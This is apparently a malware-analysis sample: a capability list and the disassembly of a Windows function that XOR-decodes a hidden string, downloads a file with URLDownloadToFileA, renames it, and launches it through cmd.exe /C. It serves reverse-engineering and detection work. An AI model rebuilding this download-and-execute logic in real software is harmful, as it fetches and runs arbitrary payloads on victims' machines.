Function at 0x140006a40
Capabilities:
Create process on windows
Download url
Encode data using xor
Move file
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x118]
sub rsp, 0x1f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140011030]
xor rax, rsp
mov qword [rbp + 0xb0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
movdqa xmm1, xmmword [0x14000d0e0]
movdqu xmmword [rbp + 0x78], xmm1
mov byte [rbp + 0x68], r14b
movups xmm0, xmmword [str._BCHJ]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14000c900]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x14000c910]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x14000c920]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x14000c930]
movups xmmword [rbp], xmm0
mov eax, dword [0x14000c940]
mov dword [rbp + 0x10], eax
movzx eax, word [0x14000c944]
mov word [rbp + 0x14], ax
movzx eax, byte [0x14000c946]
mov byte [rbp + 0x16], al
mov ecx, r14d
cmp dword [0x140011008], 2
jl 0x140006c58
movdqa xmm5, xmmword [0x14000d0f0]
movdqa xmm4, xmmword [0x14000d140]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x14000d110]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555_t]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp - 0x3c]
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000d120]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000d120]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140006b50
cmp ecx, 0x57
jge 0x140006c90
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x57
jl 0x140006c62
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.140009040
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], r14
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.tempfile.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400070d2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rdx, str._.8x.exe
lea rcx, [rbp + 0x88]
call fcn.1400012a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
lea rax, [rbp + 0x88]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140006d21
movabs r15, 0x7fffffffffffffff
cmp rbx, r15
ja 0x140007162
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov qword [rbp - 0x68], 0xf
cmp rbx, 0x10
jae 0x140006d83
mov qword [rbp - 0x70], rbx
mov r8, rbx
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x80], 0
mov rdi, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x80]
jmp 0x140006e0f
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x140006db1
mov rdi, r15
add rax, 0x27
mov rcx, rax
call fcn.140009e00
test rax, rax
je 0x140006dd4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140006ded
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140006ddb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007156
jmp 0x140006d96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140006dea
call fcn.140009e00
mov rsi, rax
jmp 0x140006ded
mov rsi, r14
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rdi
mov r8, rbx
lea rdx, [rbp + 0x88]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140009040
nop
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
lea rcx, str.tempfile.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
test eax, eax
jne 0x140007049
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
mov dword [rbp + 0x24], eax
mov dword [rbp - 0x40], 0x68
mov r13, qword [rbp - 0x50]
mov rax, r15
sub rax, r13
cmp rax, 0xb
jb 0x140007150
lea r12, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r12, qword [rbp - 0x60]
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
lea r15, [r13 + 0xb]
mov ebx, 0xf
lea r14, [rbp + 0x88]
cmp r15, rbx
jbe 0x140006f43
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140006f01
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009e00
test rax, rax
je 0x140007012
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140006f3c
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006f2a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000715c
jmp 0x140006ee2
test rcx, rcx
je 0x140006f39
call fcn.140009e00
mov r14, rax
jmp 0x140006f3c
xor r14d, r14d
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], rbx
movsd xmm0, qword [str.cmd.exe__C]
movsd qword [r14], xmm0
movzx eax, word [0x14000c7e8]
mov word [r14 + 8], ax
movzx eax, byte [0x14000c7ea]
mov byte [r14 + 0xa], al
lea rcx, [r14 + 0xb]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae rdx, qword [rbp + 0x88]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x14000701e
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007019
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007019
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a238
test ebx, ebx
je 0x140007049
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140007087
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007082
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007082
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a238
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
cmp rdi, 0x10
jb 0x1400070d2
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400070c9
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14000a238
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140007111
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000710b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000710b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a238
nop
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140009cc0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400014a0
nop
call fcn.140001400
nop
call fcn.140001400
nop
call fcn.1400014a0
int3